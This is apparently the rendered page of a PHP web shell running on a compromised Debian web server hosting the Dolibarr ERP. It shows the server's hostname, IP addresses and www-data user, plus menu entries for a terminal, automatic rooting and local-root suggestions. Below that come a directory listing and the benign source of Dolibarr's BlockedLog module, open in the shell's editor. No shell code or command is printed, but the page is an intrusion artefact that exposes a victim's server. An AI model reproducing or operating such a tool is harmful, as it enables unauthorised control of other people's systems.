Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
speed.bdcloud.fr /
core /
modules /
Delete
Unzip
Name
Size
Permission
Date
Action
action
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
bank
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
barcode
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
bom
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
cheque
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
commande
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
contract
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
dons
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
expedition
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
expensereport
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
export
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
facture
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
fichinter
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
holiday
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
import
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
livraison
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
mailings
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
member
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
mrp
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
oauth
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
payment
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
printing
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
printsheet
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
product
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
product_batch
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
project
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
propale
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
rapport
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
reception
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
security
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
societe
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
stock
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
supplier_invoice
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
supplier_order
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
supplier_payment
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
supplier_proposal
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
syslog
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
takepos
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
ticket
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
user
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
usergroup
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
website
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
DolibarrModules.class.php
82.12
KB
-rw-r--r--
2020-09-02 15:31
index.html
0
B
-rw-r--r--
2020-09-02 15:31
modAccounting.class.php
13.37
KB
-rw-r--r--
2020-09-02 15:31
modAdherent.class.php
19.92
KB
-rw-r--r--
2020-09-02 15:31
modAgenda.class.php
18.42
KB
-rw-r--r--
2020-09-02 15:31
modApi.class.php
13.63
KB
-rw-r--r--
2020-09-02 15:31
modAsset.class.php
11.88
KB
-rw-r--r--
2020-09-02 15:31
modBanque.class.php
10.26
KB
-rw-r--r--
2020-09-02 15:31
modBarcode.class.php
8.09
KB
-rw-r--r--
2020-09-02 15:31
modBlockedLog.class.php
9.93
KB
-rw-r--r--
2020-09-02 15:31
modBom.class.php
22.32
KB
-rw-r--r--
2020-09-02 15:31
modBookmark.class.php
3.51
KB
-rw-r--r--
2020-09-02 15:31
modCashDesk.class.php
5.65
KB
-rw-r--r--
2020-09-02 15:31
modCategorie.class.php
25.97
KB
-rw-r--r--
2020-09-02 15:31
modClickToDial.class.php
2.32
KB
-rw-r--r--
2020-09-02 15:31
modCollab.class.php
5.01
KB
-rw-r--r--
2020-09-02 15:31
modCommande.class.php
14.33
KB
-rw-r--r--
2020-09-02 15:31
modComptabilite.class.php
3.76
KB
-rw-r--r--
2020-09-02 15:31
modContrat.class.php
10.61
KB
-rw-r--r--
2020-09-02 15:31
modCron.class.php
5.96
KB
-rw-r--r--
2020-09-02 15:31
modDataPolicy.class.php
17.1
KB
-rw-r--r--
2020-09-02 15:31
modDav.class.php
17.24
KB
-rw-r--r--
2020-09-02 15:31
modDebugBar.class.php
3.69
KB
-rw-r--r--
2020-09-02 15:31
modDeplacement.class.php
6.34
KB
-rw-r--r--
2020-09-02 15:31
modDocumentGeneration.class.php
3.45
KB
-rw-r--r--
2020-09-02 15:31
modDon.class.php
5.27
KB
-rw-r--r--
2020-09-02 15:31
modDynamicPrices.class.php
2.93
KB
-rw-r--r--
2020-09-02 15:31
modECM.class.php
6.39
KB
-rw-r--r--
2020-09-02 15:31
modEmailCollector.class.php
24.4
KB
-rw-r--r--
2020-09-02 15:31
modExpedition.class.php
15.9
KB
-rw-r--r--
2020-09-02 15:31
modExpenseReport.class.php
11.07
KB
-rw-r--r--
2020-09-02 15:31
modExport.class.php
2.93
KB
-rw-r--r--
2020-09-02 15:31
modExternalRss.class.php
4.25
KB
-rw-r--r--
2020-09-02 15:31
modExternalSite.class.php
4.43
KB
-rw-r--r--
2020-09-02 15:31
modFTP.class.php
4.45
KB
-rw-r--r--
2020-09-02 15:31
modFacture.class.php
23.4
KB
-rw-r--r--
2020-09-02 15:31
modFckeditor.class.php
3.62
KB
-rw-r--r--
2020-09-02 15:31
modFicheinter.class.php
10.73
KB
-rw-r--r--
2020-09-02 15:31
modFournisseur.class.php
34.82
KB
-rw-r--r--
2020-09-02 15:31
modGeoIPMaxmind.class.php
3.41
KB
-rw-r--r--
2020-09-02 15:31
modGravatar.class.php
10.65
KB
-rw-r--r--
2020-09-02 15:31
modHRM.class.php
4.4
KB
-rw-r--r--
2020-09-02 15:31
modHoliday.class.php
16.62
KB
-rw-r--r--
2020-09-02 15:31
modImport.class.php
3.33
KB
-rw-r--r--
2020-09-02 15:31
modIncoterm.class.php
4.31
KB
-rw-r--r--
2020-09-02 15:31
modLabel.class.php
3.85
KB
-rw-r--r--
2020-09-02 15:31
modLdap.class.php
3.99
KB
-rw-r--r--
2020-09-02 15:31
modLoan.class.php
4.72
KB
-rw-r--r--
2020-09-02 15:31
modMailing.class.php
5.47
KB
-rw-r--r--
2020-09-02 15:31
modMailmanSpip.class.php
3.68
KB
-rw-r--r--
2020-09-02 15:31
modMargin.class.php
6.54
KB
-rw-r--r--
2020-09-02 15:31
modModuleBuilder.class.php
4.4
KB
-rw-r--r--
2020-09-02 15:31
modMrp.class.php
21.56
KB
-rw-r--r--
2020-09-02 15:31
modMultiCurrency.class.php
17.96
KB
-rw-r--r--
2020-09-02 15:31
modNotification.class.php
3.59
KB
-rw-r--r--
2020-09-02 15:31
modOauth.class.php
6.15
KB
-rw-r--r--
2020-09-02 15:31
modOpenSurvey.class.php
8.02
KB
-rw-r--r--
2020-09-02 15:31
modPaybox.class.php
10.81
KB
-rw-r--r--
2020-09-02 15:31
modPaymentByBankTransfer.class.php
4.87
KB
-rw-r--r--
2020-09-02 15:31
modPaypal.class.php
11.41
KB
-rw-r--r--
2020-09-02 15:31
modPrelevement.class.php
5.21
KB
-rw-r--r--
2020-09-02 15:31
modPrinting.class.php
5.41
KB
-rw-r--r--
2020-09-02 15:31
modProduct.class.php
46.62
KB
-rw-r--r--
2020-09-02 15:31
modProductBatch.class.php
4.54
KB
-rw-r--r--
2020-09-02 15:31
modProjet.class.php
19.37
KB
-rw-r--r--
2020-09-02 15:31
modPropale.class.php
15.04
KB
-rw-r--r--
2020-09-02 15:31
modReceiptPrinter.class.php
7.32
KB
-rw-r--r--
2020-09-02 15:31
modReception.class.php
13.4
KB
-rw-r--r--
2020-09-02 15:31
modResource.class.php
13.16
KB
-rw-r--r--
2020-09-02 15:31
modSalaries.class.php
6.68
KB
-rw-r--r--
2020-09-02 15:31
modService.class.php
45.04
KB
-rw-r--r--
2020-09-02 15:31
modSocialNetworks.class.php
3.48
KB
-rw-r--r--
2020-09-02 15:31
modSociete.class.php
37.03
KB
-rw-r--r--
2020-09-02 15:31
modStock.class.php
21.07
KB
-rw-r--r--
2020-09-02 15:31
modStripe.class.php
7.08
KB
-rw-r--r--
2020-09-02 15:31
modSupplierProposal.class.php
7.42
KB
-rw-r--r--
2020-09-02 15:31
modSyslog.class.php
4.25
KB
-rw-r--r--
2020-09-02 15:31
modTakePos.class.php
16.55
KB
-rw-r--r--
2020-09-02 15:31
modTax.class.php
8.28
KB
-rw-r--r--
2020-09-02 15:31
modTicket.class.php
14.44
KB
-rw-r--r--
2020-09-02 15:31
modUser.class.php
14.62
KB
-rw-r--r--
2020-09-02 15:31
modVariants.class.php
4.72
KB
-rw-r--r--
2020-09-02 15:31
modWebServices.class.php
3.16
KB
-rw-r--r--
2020-09-02 15:31
modWebServicesClient.class.php
3.21
KB
-rw-r--r--
2020-09-02 15:31
modWebsite.class.php
7.93
KB
-rw-r--r--
2020-09-02 15:31
modWorkflow.class.php
7.75
KB
-rw-r--r--
2020-09-02 15:31
modZapier.class.php
21.12
KB
-rw-r--r--
2020-09-02 15:31
Save
Rename
<?php /* Copyright (C) 2017 Laurent Destailleur <eldy@users.sourcefore.net> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ /** * \defgroup blockedlog Module BlockedLog * \brief Add a log into a block chain for some actions. * \file htdocs/core/modules/modBlockedLog.class.php * \ingroup blockedlog * \brief Description and activation file for module BlockedLog */ include_once DOL_DOCUMENT_ROOT.'/core/modules/DolibarrModules.class.php'; /** * Class to describe a BlockedLog module */ class modBlockedLog extends DolibarrModules { /** * Constructor. Define names, constants, directories, boxes, permissions * * @param DoliDB $db Database handler */ public function __construct($db) { global $langs, $conf, $mysoc; $this->db = $db; $this->numero = 3200; // Key text used to identify module (for permissions, menus, etc...) $this->rights_class = 'blockedlog'; // Family can be 'crm','financial','hr','projects','products','ecm','technic','other' // It is used to group modules in module setup page $this->family = "base"; // Module position in the family on 2 digits ('01', '10', '20', ...) $this->module_position = '75'; // Module label (no space allowed), used if translation string 'ModuleXXXName' not found (where XXX is value of numeric property 'numero' of module) $this->name = preg_replace('/^mod/i', '', get_class($this)); $this->description = "Enable a log on some business events into a non reversible log. This module may be mandatory for some countries."; // Possible values for version are: 'development', 'experimental', 'dolibarr' or version $this->version = 'dolibarr'; // Key used in llx_const table to save module status enabled/disabled (where MYMODULE is value of property name of module in uppercase) $this->const_name = 'MAIN_MODULE_'.strtoupper($this->name); // Name of image file used for this module. $this->picto = 'technic'; // Data directories to create when module is enabled $this->dirs = array(); // Config pages //------------- $this->config_page_url = array('blockedlog.php?withtab=1@blockedlog'); // Dependancies //------------- $this->hidden = false; // A condition to disable module $this->depends = array('always'=>'modFacture'); // List of modules id that must be enabled if this module is enabled $this->requiredby = array(); // List of modules id to disable if this one is disabled $this->conflictwith = array(); // List of modules id this module is in conflict with $this->langfiles = array('blockedlog'); $this->warnings_activation = array(); // Warning to show when we activate module. array('always'='text') or array('FR'='textfr','ES'='textes'...) $this->warnings_activation_ext = array(); // Warning to show when we activate an external module. array('always'='text') or array('FR'='textfr','ES'='textes'...) $this->warnings_unactivation = array('FR'=>'BlockedLogAreRequiredByYourCountryLegislation'); // Currently, activation is not automatic because only companies (in France) making invoices to non business customers must // enable this module. /*if (! empty($conf->global->BLOCKEDLOG_DISABLE_NOT_ALLOWED_FOR_COUNTRY)) { $tmp=explode(',', $conf->global->BLOCKEDLOG_DISABLE_NOT_ALLOWED_FOR_COUNTRY); $this->automatic_activation = array(); foreach($tmp as $key) { $this->automatic_activation[$key]='BlockedLogActivatedBecauseRequiredByYourCountryLegislation'; } }*/ //var_dump($this->automatic_activation); $this->always_enabled = (!empty($conf->blockedlog->enabled) && !empty($conf->global->BLOCKEDLOG_DISABLE_NOT_ALLOWED_FOR_COUNTRY) && in_array($mysoc->country_code, explode(',', $conf->global->BLOCKEDLOG_DISABLE_NOT_ALLOWED_FOR_COUNTRY)) && $this->alreadyUsed()); // Constants //----------- $this->const = array( 1=>array('BLOCKEDLOG_DISABLE_NOT_ALLOWED_FOR_COUNTRY', 'chaine', 'FR', 'This is list of country code where the module may be mandatory', 0, 'current', 0) ); // New pages on tabs // ----------------- $this->tabs = array(); // Boxes //------ $this->boxes = array(); // Permissions // ----------------- $this->rights = array(); // Permission array used by this module $r = 0; $this->rights[$r][0] = $this->numero + $r; // Permission id (must not be already used) $this->rights[$r][1] = 'Read archived events and fingerprints'; // Permission label $this->rights[$r][3] = 0; // Permission by default for new user (0/1) $this->rights[$r][4] = 'read'; // In php code, permission will be checked by test if ($user->rights->mymodule->level1->level2) $this->rights[$r][5] = ''; // Main menu entries // ----------------- $r = 0; $this->menu[$r] = array( 'fk_menu'=>'fk_mainmenu=tools', // Use 'fk_mainmenu=xxx' or 'fk_mainmenu=xxx,fk_leftmenu=yyy' where xxx is mainmenucode and yyy is a leftmenucode 'mainmenu'=>'tools', 'leftmenu'=>'blockedlogbrowser', 'type'=>'left', // This is a Left menu entry 'titre'=>'BrowseBlockedLog', 'url'=>'/blockedlog/admin/blockedlog_list.php?mainmenu=tools&leftmenu=blockedlogbrowser', 'langs'=>'blockedlog', // Lang file to use (without .lang) by module. File must be in langs/code_CODE/ directory. 'position'=>200, 'enabled'=>'$conf->blockedlog->enabled', // Define condition to show or hide menu entry. Use '$conf->mymodule->enabled' if entry must be visible if module is enabled. Use '$leftmenu==\'system\'' to show if leftmenu system is selected. 'perms'=>'$user->rights->blockedlog->read', // Use 'perms'=>'$user->rights->mymodule->level1->level2' if you want your menu with a permission rules 'target'=>'', 'user'=>2); // 0=Menu for internal users, 1=external users, 2=both $r++; } /** * Check if module was already used before unactivation linked to warnings_unactivation property * * @return boolean True if already used, otherwise False */ public function alreadyUsed() { require_once DOL_DOCUMENT_ROOT.'/blockedlog/class/blockedlog.class.php'; $b = new BlockedLog($this->db); return $b->alreadyUsed(1); } /** * Function called when module is enabled. * The init function add constants, boxes, permissions and menus (defined in constructor) into Dolibarr database. * It also creates data directories. * * @param string $options Options when enabling module ('', 'noboxes') * @return int 1 if OK, 0 if KO */ public function init($options = '') { global $conf, $user; $sql = array(); // If already used, we add an entry to show we enable module require_once DOL_DOCUMENT_ROOT.'/blockedlog/class/blockedlog.class.php'; $object = new stdClass(); $object->id = 1; $object->element = 'module'; $object->ref = 'systemevent'; $object->entity = $conf->entity; $object->date = dol_now(); $b = new BlockedLog($this->db); $result = $b->setObjectData($object, 'MODULE_SET', 0); if ($result < 0) { $this->error = $b->error; $this->errors = $b->erros; return 0; } $res = $b->create($user); if ($res <= 0) { $this->error = $b->error; $this->errors = $b->errors; return $res; } return $this->_init($sql, $options); } /** * Function called when module is disabled. * The remove function removes tabs, constants, boxes, permissions and menus from Dolibarr database. * Data directories are not deleted * * @param string $options Options when enabling module ('', 'noboxes') * @return int 1 if OK, 0 if KO */ public function remove($options = '') { global $conf, $user; $sql = array(); // If already used, we add an entry to show we enable module require_once DOL_DOCUMENT_ROOT.'/blockedlog/class/blockedlog.class.php'; $object = new stdClass(); $object->id = 1; $object->element = 'module'; $object->ref = 'systemevent'; $object->entity = $conf->entity; $object->date = dol_now(); $b = new BlockedLog($this->db); $result = $b->setObjectData($object, 'MODULE_RESET', 0); if ($result < 0) { $this->error = $b->error; $this->errors = $b->erros; return 0; } if ($b->alreadyUsed(1)) { $res = $b->create($user, '0000000000'); // If already used for something else than SET or UNSET, we log with error } else { $res = $b->create($user); } if ($res <= 0) { $this->error = $b->error; $this->errors = $b->errors; return $res; } return $this->_remove($sql, $options); } }